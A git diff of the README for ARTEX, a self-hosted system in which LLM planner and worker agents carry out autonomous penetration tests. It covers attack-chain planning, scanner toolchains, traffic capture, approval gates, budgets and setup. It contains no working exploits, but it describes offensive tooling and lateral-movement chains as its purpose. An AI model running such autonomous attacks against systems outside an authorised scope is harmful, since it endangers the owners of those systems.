diff --git a/README.md b/README.md
index 4aa5538..681c1bb 100644
--- a/README.md
+++ b/README.md
@@ -1,88 +1,279 @@
+

+
# ARTEX
-AI autonomous penetration testing system (Go backend + Next.js frontend)
+**Autonomous penetration testing that keeps its receipts.**
+Self-hosted multi-agent offensive security. A planner explores, workers run real tools,
+and every finding stays bound to the assets and HTTP traffic that prove it.
- Fork of [ARTEX by Autumn-27](https://github.com/Autumn-27) · English translation of the Chinese source · maintained publicly under AGPL-3.0
+[](https://github.com/BaaRai/ARTEX/releases)
+[](LICENSE)
+[](https://github.com/BaaRai/ARTEX/actions/workflows/ci.yml)
+[](go.mod)
+
+[Quick start](#quick-start) · [Screenshots](#screenshots) · [How it works](#how-it-works) · [Install](#installation) · [Configuration](#configuration) · [Security](SECURITY.md)
-
+---
+
+ARTEX is a self-hosted, LLM-driven penetration testing platform. It is not a chat wrapper around
+a scanner: a planner splits a goal into intents, workers execute them with real tools, and the
+results are written back into **two linked graphs**: one for what you know about the target, one
+for how the test is progressing. Every finding can carry the captured request and response that
+justify it, and every autonomous action passes through scope rules, approval gates and budgets.
+
+- **It explores, it doesn't chat.** Goal decomposition, intent dispatch, worker execution and
+ write-back form a closed loop that keeps advancing until the goal is proven.
+- **Two graphs, one audit trail.** The shared asset graph says *what exists*; the per-task
+ exploration graph says *what was tried, what it produced, and why*. Anchors link the two.
+- **Findings with evidence.** A recording MITM proxy and a browser extension capture real traffic;
+ findings, evidence quotes and retests are tied to the exact request/response.
+- **Autonomy with brakes.** Human-in-the-loop approvals, argv-prefix rules, scope/deny gates,
+ token and turn budgets, a target noise governor, and prompt-injection framing on tool output.
+- **Self-hosted and model-agnostic.** One Go binary with the Next.js UI embedded, PostgreSQL,
+ your own Anthropic/OpenAI-compatible endpoint, or a local Ollama.
+
+---
+
+## Quick start
+
+```bash
+git clone https://github.com/BaaRai/ARTEX.git
+cd ARTEX
+cp .env.example .env # set POSTGRES_PASSWORD (and optionally an LLM key)
+docker compose up -d --build # builds from this checkout, starts PostgreSQL
+```
+
+Open **http://localhost:8787**. On the first visit `/setup` asks for the one-time setup token
+printed at startup:
+
+```bash
+docker compose logs artex | grep "Setup token"
+```
+
+> There is no prebuilt Docker image to pull: the image is always built from your checkout.
+> For all installation paths (script, binaries, source, release archives), see [Installation](#installation).
---
## Screenshots
-
-| Dashboard (overview / token usage / activity stream) | Task list |
+| Tasks | Findings |
| :---: | :---: |
-|  |  |
+|  |  |
-| Task · execution (sessions / tool calls) | Exploration graph |
+| Task execution: sessions and tool calls | Exploration graph |
| :---: | :---: |
|  |  |
-| Findings | Assets |
+| Asset coverage graph | Traffic recording |
| :---: | :---: |
-|  |  |
+|  |  |
-| Asset coverage graph (force-directed layout · tested highlights · node collapse/expand) |
-| :---: |
-|  |
-
-| Traffic recording | Human-in-the-loop chat |
+| Human-in-the-loop chat | Interception approvals |
| :---: | :---: |
-|  |  |
+|  |  |
-| Agent management | LLM configuration |
+
+More screenshots (assets, agents, LLM, logs)
+
+| Assets | Agent management |
| :---: | :---: |
-|  |  |
+|  |  |
-| Interception approvals | Backend logs |
+| LLM configuration | Backend logs |
| :---: | :---: |
-|  |  |
+|  |  |
+
---
-## Approval record details
+## How it works
-The global "Approval Records", the in-task "Interception Approvals", and the approval cards in conversations all support expanding to view details. The display structure references the
-[AegisHook approval details component](https://github.com/RuoJi6/AegisHook/blob/main/web/src/components/CallDetail.vue), reusing ARTEX's components and theme:
+### Dual-graph architecture: exploration graph + asset graph
-## Argv prefix rules
+ARTEX separates *what the goals are* from *how far testing has progressed* into two independent
+graphs linked by anchors:
-Besides `string` and `regex`, an interception rule can use `match_type: argv` (Bash only, `match_target: tool_input`). Its pattern is a JSON array of 1 to 8 tokens, for example `["git","push"]`, with no empty token, no token starting with `-` and no shell metacharacter or space.
+- **Asset graph (shared across tasks).** One source of truth for `root_domain / subdomain / ip /
+ service / app / endpoint`, owned by companies. Parent-child relationships and deduplication keys
+ are computed by the program; agents only submit raw observations.
+- **Exploration graph (per task).** The task's reasoning and progress: `goal / intent / fact /
+ finding / hint` nodes connected by `spawns / derived_from / yields / proves` edges into a lineage
+ chain.
+- **Anchors link them.** `exploration_anchors(node_id, asset_id)` ties intents, facts and findings
+ to concrete assets: which assets a direction touched, and which intents tested a given asset.
+ This also powers **asset test coverage** and the coverage graph.
-- **It is a prefix rule.** The command is parsed (mvdan.cc/sh, Bash grammar, as the Bash tool runs `bash -c`) and must be one simple command: no pipe, list (`;`, `&&`, `||`), redirection, prefix assignment, subshell, background job, no wrapper program (`command`, `builtin`, `env`, `exec`, `eval`), and no command or process substitution or parameter expansion anywhere. Its prefix (program plus subcommands, from a code-owned arity table: `git push`, `npm run build`, `nmap`) must equal the pattern exactly. Any other form does not match, and the normal flow (judge, approval) continues.
-- **Flags are ignored by construction.** `["git","push"]` also covers `git push --force`; a flag before the subcommand (`git -C /repo push`) matches nothing. An allowed prefix does not cover what the program does internally.
-- An argv rule takes its place in the priority order like any rule, and the target gate still runs after an argv allow.
+```mermaid
+flowchart LR
+ subgraph EG["Exploration graph (per-task · advance chain)"]
+ direction TB
+ G["goal"]
+ I1["intent A"]
+ F1["fact"]
+ I2["intent B"]
+ FD["finding (vulnerability)"]
+ G -->|spawns| I1
+ I1 -->|yields| F1
+ F1 -->|derived_from| I2
+ I2 -->|proves| FD
+ end
+ subgraph AG["Asset graph (globally shared · source of truth)"]
+ direction TB
+ RD["root_domain"]
+ SD["subdomain"]
+ SV["service"]
+ EP["endpoint"]
+ RD --> SD --> SV --> EP
+ end
+ I1 -. anchor .-> SD
+ F1 -. anchor .-> SV
+ I2 -. anchor .-> EP
+ FD -. anchor .-> EP
+```
+The **planner** reads the exploration graph, judges goals, and dispatches intents only when there
+is an uncovered direction; a **worker** claims one intent, executes it, writes assets/facts/findings
+back into both graphs, then stops.
-## Traffic capture browser extension
+### The engine loop
-The bundled browser extension (`extension/`) turns your own browsing into agent-visible evidence: log into an authenticated target once (captchas, email OTP and 2FA included), and the captured requests/responses land in ARTEX's traffic store like proxy-recorded traffic, ready to search and bind to findings:
+The engine is event-driven: any graph change wakes the planner, workers claim and execute intents,
+write-back triggers the next round, until `prove_goal` closes the task.
-- Load the unpacked extension from `extension/` (Chrome/Edge, Developer Mode → Load unpacked);
-- In the popup, set your ARTEX URL and token, then press **Start capture** on the tab you are browsing;
-- Use the site normally; text requests/responses are batched to `POST /api/traffic/ingest` (authenticated). Binary bodies (images, fonts) are skipped, bodies are truncated at 256 KiB, batches are capped at 50 entries;
-- Press **Stop** when done. Everything stays in your local traffic store.
+```mermaid
+sequenceDiagram
+ autonumber
+ participant EV as graph-change debounce
+ participant P as planner
+ participant FR as frontier intent queue
+ participant W as worker
+ participant PX as recording proxy
+ participant DB as dual graphs + activity
-## Asset sync (ScopeSentry)
+ EV-->>P: wake up
+ P->>DB: read situation (graph_overview prefetch + coverage/scope)
+ P->>FR: dispatch 0..N intents (with asset_ids)
+ Note over P,FR: most wake-ups dispatch 0 (no new direction means done)
+ W->>FR: claimNext claims one intent
+ W->>DB: fetch the raw assets of the intent's asset_ids
+ W->>PX: real tool execution (Kali / Bash / HTTP)
+ PX-->>W: response (fully traced + CA verified)
+ W->>DB: write back fact / asset / finding + per-step activity
+ DB-->>EV: graph change
+ EV-->>P: wake again (closed loop)
+```
-Sync asset data directly from [ScopeSentry](https://github.com/Autumn-27/ScopeSentry), avoiding duplicate collection:
+### Durable attack chains, shared worker memory
-- On the "**Asset Sync**" page, enter the ScopeSentry address and API Key to connect the data source;
-- Choose the targets and asset types to sync by **project** or **task** (domains / subdomains / IPs / ports / sites / endpoints…);
-- One-click import, merged by company asset scope, straight into ARTEX's asset graph for agents to explore.
+Real attack chains are multi-step and ordered (find an injection → get credentials → move
+laterally). The planner keeps a **todolist retained per task across wake-ups**: it records the
+chain once, then dispatches the next step only when its prerequisites are satisfied by facts.
+
+Workers can also **search each other's execution traces** (`search_all_worker_traces`,
+`list_worker_traces`, `get_worker_trace`). Observations that never became formal facts (an error
+message, a response snippet, a hidden parameter) are still reusable by the next worker, while each
+worker remains confined to the intent it claimed.
+
+---
+
+## Features
+
+### Evidence, not chat logs
+
+- **Recording MITM proxy** (`:8788`) with a generated CA: every Bash/HTTP tool call is traced, and
+ request/response evidence can be bound to a finding.
+- **Browser extension** (`extension/`) for authenticated targets: log in once (captcha, email OTP,
+ 2FA included), capture the session, and the requests/responses land in the same traffic store.
+
+
+ Using the traffic capture extension
+
+ - Load the unpacked extension from `extension/` (Chrome/Edge: Developer Mode → Load unpacked);
+ - In the popup, set your ARTEX URL and token, then press **Start capture** on the tab you are
+ browsing;
+ - Use the site normally; text requests/responses are batched to `POST /api/traffic/ingest`
+ (authenticated). Binary bodies (images, fonts) are skipped, bodies are truncated at 256 KiB,
+ batches are capped at 50 entries;
+ - Press **Stop** when done. Everything stays in your local traffic store.
+
+
+- **Verified findings**: findings carry a POE level, a verification status and a note; a finding is
+ `verified` only when a bound proof/response and verbatim evidence quotes support it. Gzip/deflate
+ bodies are decoded before the quote check.
+- **Vulnerability retest loop**: a dedicated `retester` agent re-runs a finding with optional fixed
+ version/conditions, records `Still reproducible / Fixed / Cannot confirm`, and can move the
+ finding to `Fixed` automatically. Original evidence and reports are preserved.
+- **Reports and exports**: findings, evidence and task archives, with traffic snapshots kept
+ encrypted at rest.
+
+### Control without slowing down
+
+- **Interception gate**: every tool call can require human approval, with rules by `string`,
+ `regex` or **argv prefix**. An argv rule is a JSON array of 1 to 8 tokens (Bash only, for
+ example `["git","push"]`); it matches only a single simple command whose parsed prefix equals
+ the pattern exactly. Pipes, lists, redirections, prefix assignments, subshells, background jobs,
+ wrapper programs and command/parameter substitutions do not match; flags are ignored by
+ construction (`["git","push"]` covers `git push --force`, but `git -C /repo push` matches
+ nothing). Each approval records who decided: `human`, `rule`, `model` or `system`.
+- **Scope and target gate**: scope rows define the coverage denominator; assets outside the
+ declared scope are not explored. The target gate (off by default, API-only) can refuse
+ destinations that were not approved.
+- **Budgets**: `ARTEX_TASK_BUDGET_TOKENS` / `ARTEX_TASK_BUDGET_TURNS` cap a whole task (planner and
+ workers); `ARTEX_INTENT_BUDGET_TOKENS` / `ARTEX_INTENT_BUDGET_TURNS` cap one worker run. Near the
+ limit the task enters a forced wrap-up; a worker is not started when the remaining budget cannot
+ cover it. Budgets are in memory: a restart starts fresh.
+- **Noise governor**: `ARTEX_NOISE_PROFILE=quiet|balanced|aggressive` paces requests ARTEX sends to
+ targets (per-host rate, burst, in-flight limit, jitter, backoff on 429/503, short GET caching).
+ With a profile set, agents also receive low-and-slow flags for the installed scanners.
+- **Untrusted-output boundary (on by default)**: tool results are framed between nonce-tagged
+ markers so the model treats them as data, not instructions. Disable with
+ `ARTEX_UNTRUSTED_BOUNDARY=0`.
+
+### Assets and coverage
+
+- **Coverage ledger and force-directed coverage graph**: in-scope assets are highlighted as tested
+ or untested, with linked intents, facts and findings per node.
+- **Company-scoped asset graph**: shared across tasks, deduplicated by the program, with
+ domain → subdomain → service → endpoint containment.
+- **ScopeSentry sync**: pull asset data from a
+ [ScopeSentry](https://github.com/Autumn-27/ScopeSentry) instance by project or task, merged by
+ company scope into the asset graph for agents to explore.
+
+
+ Syncing from ScopeSentry
+
+ - On the **Asset Sync** page, enter the ScopeSentry address and API key;
+ - Choose the targets and asset types by **project** or **task** (domains / subdomains / IPs /
+ ports / sites / endpoints…);
+ - Import: rows are merged by company asset scope and become part of the asset graph.
+
+
+- **Task categories, templates, relations and archives** for repeatable engagements.
+
+### Platform
+
+- **LLM profiles with failover**: Anthropic, OpenAI, OpenAI-compatible relays and keyless Ollama;
+ multiple profiles per task with automatic failover.
+- **Token accounting**: per-task and per-session usage, cache reads/writes, and an LLM record view
+ for every call.
+- **MCP servers, skills, memory and a workspace**: extend the agent with remote tools and reusable
+ prompt/playbook material.
+- **Single binary**: the Next.js UI is embedded with `go:embed`; PostgreSQL is the only external
+ dependency.
---
## Installation
-> Requires a **PostgreSQL** database; exploration requires an **LLM** (`ANTHROPIC_API_KEY` or `OPENAI_API_KEY`, which can also be configured in the UI).
+> Requires **PostgreSQL**; exploration requires an **LLM** (`ANTHROPIC_API_KEY` or
+> `OPENAI_API_KEY`, also configurable in the UI).
### Option 1: one-click install script (recommended)
@@ -92,184 +283,92 @@ cd ARTEX
./install.sh
```
-The script will: detect / auto-install Docker → then let you choose **① all-Docker** or **② local build and run**:
+The script detects or installs Docker, then offers **① all-Docker** (writes `.env`, runs
+`docker compose up -d --build`) or **② local build and run** (generates `config.json`, builds the
+embedded binary, starts it).
-- **① All-Docker**: enter a Postgres password (press Enter for a random one) → auto-writes `.env` → `docker compose up -d --build` (the image is built from this checkout).
-- **② Local run**: choose a database (connect to an existing one / start one with Docker) → generates `config.json` → `go` builds the embedded single binary → starts.
+Open **http://localhost:8787**; `/setup` asks for the one-time setup token printed at startup
+(`docker compose logs artex | grep "Setup token"`).
-Once installed, open **http://localhost:8787** (on first entry, `/setup` sets the admin password).
-`/setup` asks for a one-time setup token: while no password is set, the backend prints it at startup in its log (`docker compose logs artex | grep "Setup token"`, or the terminal running `./start.sh`).
-
-The web UI is published on `127.0.0.1` by default. To reach it from another machine, or from Windows when ARTEX runs inside WSL, set `ARTEX_BIND_ADDR=0.0.0.0` in `.env` (the setup token still protects the first-run claim), or keep loopback and use a reverse proxy or an SSH tunnel.
+The UI listens on `127.0.0.1` by default. To reach it from another machine (or from Windows when
+ARTEX runs inside WSL), set `ARTEX_BIND_ADDR=0.0.0.0` in `.env` (the setup token still protects the
+first-run claim), or keep loopback and use a reverse proxy or SSH tunnel.
### Option 2: Docker Compose (manual)
```bash
git clone https://github.com/BaaRai/ARTEX.git
cd ARTEX
-cp .env.example .env # set POSTGRES_PASSWORD, optionally ANTHROPIC_API_KEY
-docker compose up -d --build # builds artex from this checkout + starts postgres
+cp .env.example .env # set POSTGRES_PASSWORD, optionally ANTHROPIC_API_KEY
+docker compose up -d --build
# → http://localhost:8787
```
-> The image is built locally. There is no published image to pull: the previous
-> default pointed at a third-party namespace that no longer hosts this project.
+The image includes a scanner toolchain (`nmap`, `nuclei`, `httpx`, `katana`, `ffuf`, `dalfox`,
+`sqlmap`, `ripgrep`, `curl`, `npm`, …); `./skills` and `./data` are persisted via bind mounts.
-The image already includes common tools (ripgrep/curl/vim/npm/nmap…); `./skills` and `./data` are persisted via bind mounts.
+For remote MCP you can choose `http` (Streamable HTTP) or `sse` (legacy SSE) in system settings.
+Legacy SSE servers usually establish the event stream with `GET /sse` and receive JSON-RPC over
+`/message?sessionId=...`; configure the URL as `/sse` and send `Authorization: Bearer `.
-For remote MCP, you can choose `http` (Streamable HTTP) or `sse` (legacy SSE) in system settings.
-Legacy SSE servers usually establish the event stream with `GET /sse`, then receive JSON-RPC requests via the
-`/message?sessionId=...` returned by the server; when configuring, set the URL to `/sse` and the request header as
-`Authorization=Bearer `.
+### Option 3: prebuilt binaries (Releases)
-### Option 3: download prebuilt binaries (Releases)
-
-Download the zip for your platform from [Releases](https://github.com/BaaRai/ARTEX/releases); after extracting you get `artex` + `start.sh` (`start.bat` on Windows) + `skills/` + `config.example.json`:
+Download the zip for your platform from [Releases](https://github.com/BaaRai/ARTEX/releases). It
+contains `artex`, `start.sh` (`start.bat` on Windows), `skills/` and `config.example.json`:
```bash
cp config.example.json config.json # fill in the database connection
./start.sh # → http://localhost:8787
```
-> Please start with `start.sh` / `start.bat` instead of running `./artex` directly. It is a daemon script: if the process crashes, it restarts it after a backoff.
-> To keep it running in the background: `nohup ./start.sh >artex.log 2>&1 &`.
+Start with `start.sh` / `start.bat`, not `./artex`: it is a daemon script that restarts the process
+after a backoff. To keep it in the background: `nohup ./start.sh >artex.log 2>&1 &`.
#### Verifying a release
-Each release attaches `SHA256SUMS` and a CycloneDX SBOM, `artex-.cdx.json` (Go modules embedded in the linux/amd64 binary, the frontend `package-lock.json`, and `go.mod`/`go.sum`), next to the zips. The zips also carry a GitHub build provenance attestation. Releases published before this was added have neither the SBOM nor the attestation.
+Each release attaches `SHA256SUMS` and a CycloneDX SBOM, `artex-.cdx.json` (Go modules in the
+linux/amd64 binary, the frontend `package-lock.json`, `go.mod`/`go.sum`), next to the zips. The zips
+also carry a GitHub build provenance attestation. Releases published before this was added have
+neither.
```bash
sha256sum -c SHA256SUMS # add --ignore-missing if you downloaded only some zips
-gh attestation verify --repo BaaRai/ARTEX # provenance: built by this repository's release workflow
+gh attestation verify --repo BaaRai/ARTEX # built by this repository's release workflow
```
### Option 4: build the single binary from source
```bash
-# 1) frontend static export
cd web && npm ci && npm run build:static && cd ..
-# 2) copy into the embed directory
cp -r web/out server/webui/dist
-# 3) build (only -tags embedui embeds the frontend)
CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
./start.sh
```
-### Option 5: build cross-platform release archives
+Only `-tags embedui` embeds the frontend into the binary.
-`build.sh` first builds and embeds the frontend, then strips debug info via the Go linker, and compresses the release files into zips. Release mode generates zips for Linux amd64/arm64, macOS amd64/arm64, and Windows amd64 by default:
+### Option 5: cross-platform release archives
+
+`build.sh` builds and embeds the frontend, strips debug info, and writes zips for Linux
+amd64/arm64, macOS amd64/arm64 and Windows amd64 by default:
```bash
./build.sh --release
# output: dist/artex--*.zip
-```
-UPX self-extracting binaries may be incompatible with some Linux kernels, virtualization environments, or security policies, so they are disabled by default. Use `ARTEX_TARGETS` to customize the targets; when you have confirmed the target runtime is compatible, explicitly pass `--upx` to further shrink the binary:
-
-```bash
ARTEX_TARGETS=linux/amd64,windows/amd64 ./build.sh --release
./build.sh --target linux/amd64 --upx
```
----
-
-## Backups
-
-`scripts/backup.sh` dumps the Postgres database (and optionally the data
-directory) with timestamped output and rotation:
-
-```bash
-scripts/backup.sh --with-data # db dump + data/ archive, keep 14
-scripts/backup.sh --keep 7 # db only, keep 7
-```
-
-Restore a dump into a running stack:
-
-```bash
-gunzip -c backups/artex-db-.sql.gz | docker compose exec -T postgres \
- psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
-```
-
-Stored secrets (LLM API keys and proxies, MCP env, task credentials,
-notification channel config, the Brave and Tavily search keys, the web search
-and global proxies, the execution spec of custom tools) are encrypted in the database with the key in `keys/secret.key`
-(generated at first start, mode 0600, next to `jwt.key`). **A database backup
-without that key can no longer restore those secrets**: back up `keys/` with the
-dump, separately. Deployments without a persistent disk set `ARTEX_SECRET_KEY`
-(32 bytes, base64 or hex, e.g. `openssl rand -base64 32`) instead. ARTEX refuses
-to start when the database holds encrypted secrets and no key is available.
-
-Daily cron example (03:20, operator crontab):
-
-```
-20 3 * * * cd /path/to/ARTEX && scripts/backup.sh --with-data >> backups/backup.log 2>&1
-```
-
-## Updating and upgrading
-
-> Upgrading only swaps the program and never touches data: the Postgres volume `pgdata`, `./data` (traffic index, task files, transcripts, etc.), `./keys` (jwt.key, secret.key), and `./skills` are all preserved. **No manual database migration is needed**: `artex` idempotently re-runs `schema.sql` on every start (with `ADD COLUMN` / `CREATE INDEX IF NOT EXISTS`), i.e. "restart equals migrate". It is still recommended to back up `./data` and the database before upgrading.
-
-**Update banner (opt-in, off by default)**: start ARTEX with `ARTEX_UPDATE_CHECK=1` to have the backend ask the public GitHub releases API for the latest ARTEX tag, at most once per 24 hours (cached in memory; a failed check is not retried within that window). When the release is newer than the running version, the web UI shows a small dismissible strip linking to the Releases page. The request sends only the `User-Agent: artex-update-check` header. Unset, ARTEX makes no update request and shows no banner.
-
-### Upgrading from a clone made before 2026-10-23
-
-The repository history was rewritten that day to drop a personal email address from the commit metadata. A clone made before then cannot fast-forward, and `./update.sh` now stops instead of silently rebuilding stale code. Recover once, then upgrade normally:
-
-```bash
-git stash # only if you have local changes
-git fetch origin
-git reset --hard origin/main
-git stash pop # only if you stashed
-```
-
-Your data is not affected: `./data`, the `pgdata` volume and `./skills` are not part of the git history.
-
-### Option 1: one-click update script
-
-```bash
-cd ARTEX
-./update.sh
-```
-
-The script first optionally `git pull`s the latest code, then lets you choose **① Docker update** or **② local build update** (matching `install.sh`):
-
-- **① Docker**: rebuilds the image from this checkout → `docker compose build artex` → `docker compose up -d artex` (restarting migrates the schema automatically).
-- **② Local**: rebuild the frontend static assets → recompile `./artex` (restart the process for it to take effect).
-
-### Option 2: Docker Compose (manual)
-
-```bash
-cd ARTEX
-git pull # update compose / scripts
-docker compose build artex # rebuild the image from this checkout
-docker compose up -d artex # recreate the container → schema migrates automatically
-docker image prune -f # clean up old images (optional)
-```
-
-### Option 3: prebuilt binaries (Releases)
-
-Download the new version's zip from [Releases](https://github.com/BaaRai/ARTEX/releases), stop the old process, then overwrite `artex` and `skills/` (keep your `config.json` and `data/`), and restart:
-
-```bash
-cp -r /skills ./ && cp /artex ./
-./start.sh
-```
-
-### Option 4: build from source
-
-```bash
-git pull
-cd web && npm ci && npm run build:static && cd ..
-cp -r web/out server/webui/dist
-CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
-# restart ./start.sh
-```
+UPX is disabled by default: self-extracting binaries may be incompatible with some kernels,
+virtualization environments or security policies. Pass `--upx` only after confirming the target
+runtime supports it.
---
## Configuration
-**Database** (`config.json`, or override with the `ARTEX_PG_DSN` environment variable):
+**Database** (`config.json`, or the `ARTEX_PG_DSN` environment variable):
```json
{
@@ -281,28 +380,60 @@ CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
}
```
-**LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`); you can also fill it in on the UI's "LLM Configuration" page — which can add a local Ollama server as a keyless provider (format "Ollama", base URL default `http://127.0.0.1:11434/v1`, models loaded from the server).
-Optional: `ARTEX_LLM_PROVIDER` (anthropic | openai | openai-responses | ollama) / `ARTEX_LLM_MODEL` / `ARTEX_LLM_BASE_URL` / `ARTEX_LLM_PROXY`.
+**LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`), or configure it in the UI's
+"LLM Configuration" page, which can also add a local Ollama server as a keyless provider (format
+"Ollama", default base URL `http://127.0.0.1:11434/v1`). Optional:
+`ARTEX_LLM_PROVIDER` (`anthropic | openai | openai-responses | ollama`), `ARTEX_LLM_MODEL`,
+`ARTEX_LLM_BASE_URL`, `ARTEX_LLM_PROXY`.
-**Base URL**: for the Anthropic format, enter the host **without** a `/v1` suffix (e.g. `https://api.anthropic.com`) — the provider appends `/v1/messages` itself, so a base ending in `/v1` becomes `https://api.anthropic.com/v1/v1/messages`. OpenAI-format providers append `/chat/completions` (or `/responses` for the `openai-responses` format), so their base **does** end in `/v1` (e.g. `https://api.openai.com/v1`).
+**Base URL gotcha**: for the Anthropic format, enter the host **without** `/v1` (for example
+`https://api.anthropic.com`); ARTEX appends `/v1/messages`. OpenAI-format providers append
+`/chat/completions` (or `/responses` for `openai-responses`), so their base **does** end in `/v1`
+(for example `https://api.openai.com/v1`).
-**Concurrency**: the number of work agents per task is configured in "System Settings" (default 3).
+**Concurrency**: work agents per task, in "System Settings" (default 3).
-**Untrusted-output boundary (on by default)**: tool results for the worker, planner, chat and main agent are framed between nonce-tagged markers so the model treats them as data, not instructions. Unset or empty, the boundary is on; set `ARTEX_UNTRUSTED_BOUNDARY=0` (or `false` / `off` / `no`) to disable it. Measured cost: about 154 bytes per tool result plus one system note.
+**Untrusted-output boundary (on by default)**: tool results for the worker, planner, chat and main
+agent are framed between nonce-tagged markers so the model treats them as data, not instructions.
+Unset or empty, the boundary is on; set `ARTEX_UNTRUSTED_BOUNDARY=0` (or `false` / `off` / `no`) to
+disable it. Cost: about 154 bytes per tool result plus one system note.
-**Noise profile (off by default)**: `ARTEX_NOISE_PROFILE` paces the requests ARTEX itself sends to targets (WebFetch, http custom tools, the enrich probe). Unset or `off`, nothing changes: no limit, no cache. Set `quiet` (2 req/s per host, burst 4, 1 in flight), `balanced` (5 req/s, burst 10, 2 in flight) or `aggressive` (20 req/s, burst 40, 4 in flight), e.g. `ARTEX_NOISE_PROFILE=balanced` in `.env` or the environment. A profile also adds a small jitter, backs off on 429/503 (honouring `Retry-After`, bounded retries, GET/HEAD/OPTIONS only), and, for the http custom tools and the enrich probe, merges identical in-flight GETs of one task (per tool) and caches them briefly (60/30/10 s; never POST, PUT, PATCH or DELETE; WebFetch is paced only), and logs a per-host noise line each minute. `ARTEX_TARGET_USER_AGENT` sets a User-Agent on target requests that carry none, under a profile; empty keeps the current one. Tools launched through Bash are not paced yet.
+**Noise profile (off by default)**: `ARTEX_NOISE_PROFILE` paces the requests ARTEX sends to targets
+(WebFetch, HTTP custom tools, the enrich probe). Unset or `off` keeps today's behaviour: no limit,
+no cache. `quiet` = 2 req/s per host (burst 4, 1 in flight), `balanced` = 5 req/s (burst 10, 2 in
+flight), `aggressive` = 20 req/s (burst 40, 4 in flight). A profile adds jitter, backs off on
+429/503 (honours `Retry-After`, bounded retries, GET/HEAD/OPTIONS only), deduplicates identical
+in-flight GETs and caches them briefly (60/30/10 s; never POST/PUT/PATCH/DELETE), and logs a
+per-host noise line each minute. `ARTEX_TARGET_USER_AGENT` sets a User-Agent on target requests
+that carry none. Bash-launched tools are not paced yet; the low-and-slow prompt block supplies
+their rate flags.
-**Low-and-slow agent guidance (off by default)**: when a noise profile is set, the planner, worker, main agent and chat agents receive a code-owned prompt block with the profile's per-host limits and exact rate/delay flags for the scanners installed in the image (`nmap`, `nuclei`, `httpx`, `katana`, `ffuf`, `dalfox`, `sqlmap`). It tells them to test one host at a time, to back off on 429/503 and never to raise the rate to meet a deadline. Unset or `off`, the block is empty and every prompt is unchanged. Commands launched through Bash are not paced by the governor, so these flags are the brake for scanners.
+**Low-and-slow agent guidance (off by default)**: when a noise profile is set, the planner, worker,
+main agent and chat agents receive a code-owned prompt block with the profile's per-host limits and
+exact rate/delay flags for the installed scanners. It tells them to test one host at a time, back
+off on 429/503 and never raise the rate to meet a deadline.
-**Run budgets (off by default)**: `ARTEX_TASK_BUDGET_TOKENS` and `ARTEX_TASK_BUDGET_TURNS` cap a task's total spend (its planner rounds and all its workers); `ARTEX_INTENT_BUDGET_TOKENS` and `ARTEX_INTENT_BUDGET_TURNS` cap one worker run. Unset or `0` means unlimited, and nothing changes. A worker is not started when the remaining task budget cannot cover its estimated cost (the average of the task's finished workers, else 50000 tokens and 10 turns). When the remaining budget reaches the wrap-up reserve (the larger of 5% and 20000 tokens, and 2 turns), the task enters a forced wrap-up: the planner writes a summary and the final goal judgment, and workers may only write back (`record_fact`, `insert_assets`, `report_finding`, `update_finding_report`). The task then ends `done` if its goals are met, otherwise `timeout`. Budgets are kept in memory: a restart, or a revive of a finished task, starts a fresh budget. Each planner round logs a `[budget]` line. Practical floor: below 50000 tokens a task gets no worker; from 50000 to about 70000 it typically gets one worker and then the wrap-up. Pick a budget well above 70000 tokens for real exploration.
+**Run budgets (off by default)**: `ARTEX_TASK_BUDGET_TOKENS` / `ARTEX_TASK_BUDGET_TURNS` cap a
+task's total spend (planner rounds and workers); `ARTEX_INTENT_BUDGET_TOKENS` /
+`ARTEX_INTENT_BUDGET_TURNS` cap one worker run. Unset or `0` means unlimited. A worker is not
+started when the remaining task budget cannot cover its estimated cost (the average of finished
+workers, else 50,000 tokens and 10 turns). Near the wrap-up reserve (the larger of 5% and 20,000
+tokens, and 2 turns) the task enters a forced wrap-up: the planner writes a summary and final goal
+judgment, and workers may only write back. The task then ends `done` if its goals are met, else
+`timeout`. Practical floor: below 50,000 tokens no worker starts; 50,000-70,000 typically gives one
+worker then wrap-up; pick well above 70,000 for real exploration.
-**Common flags**: `./start.sh -addr :8787 -proxy :8788` (`-addr` frontend+API, `-proxy` traffic recording proxy). The startup script passes arguments through to `artex` verbatim.
+**Common flags**: `./start.sh -addr :8787 -proxy :8788` (`-addr` frontend/API, `-proxy` traffic
+recording proxy).
-### Reverse proxy deployment (HTTPS / only exposing 443)
+### Reverse proxy deployment (HTTPS / exposing only 443)
-The frontend and API/SSE are served by the same backend port (8787; the binary listens on `127.0.0.1:8787` by default, the Docker container on `:8787` published on `127.0.0.1`), and the realtime activity stream uses the **same-origin** address by default, so **there is no need to configure `NEXT_PUBLIC_SSE_BASE`**: just expose 443 publicly and keep 8787 on the internal network.
+The frontend, API and SSE stream share port 8787 (the binary listens on `127.0.0.1:8787` by
+default; the Docker container publishes on `127.0.0.1`), and the activity stream is same-origin by
+default, so **no `NEXT_PUBLIC_SSE_BASE` is needed**: expose 443 and keep 8787 internal.
-SSE is a long-lived connection with continuous pushes, so the reverse proxy **must disable buffering**, otherwise the browser connects but never receives events (the activity stream spins forever). Nginx example:
+SSE keeps a long-lived connection with continuous pushes, so the proxy **must disable buffering**;
+otherwise the browser connects but never receives events. Nginx example:
```nginx
server {
@@ -326,33 +457,138 @@ server {
}
```
-**Login rate limit behind a proxy**: login allows 10 attempts per minute per client IP. Behind a proxy every request comes from the proxy's address, so without further setup all users share one budget and an attacker who fails 10 logins blocks everyone, admin included, for up to 15 minutes. To avoid that, keep the `X-Forwarded-For` line above and set `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by default) to the address ARTEX sees the proxy connect from:
+**Login rate limit behind a proxy**: login allows 10 attempts per minute per client IP. Behind a
+proxy every request comes from the proxy's address, so without further setup all users share one
+budget and an attacker who fails 10 logins blocks everyone, admin included, for up to 15 minutes.
+Keep the `X-Forwarded-For` line and set `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by
+default) to the address ARTEX sees the proxy connect from:
-- **nginx and ARTEX both on the host** (binary, `./start.sh`): the peer is `127.0.0.1`. Start ARTEX with `ARTEX_TRUSTED_PROXIES=127.0.0.1/32`.
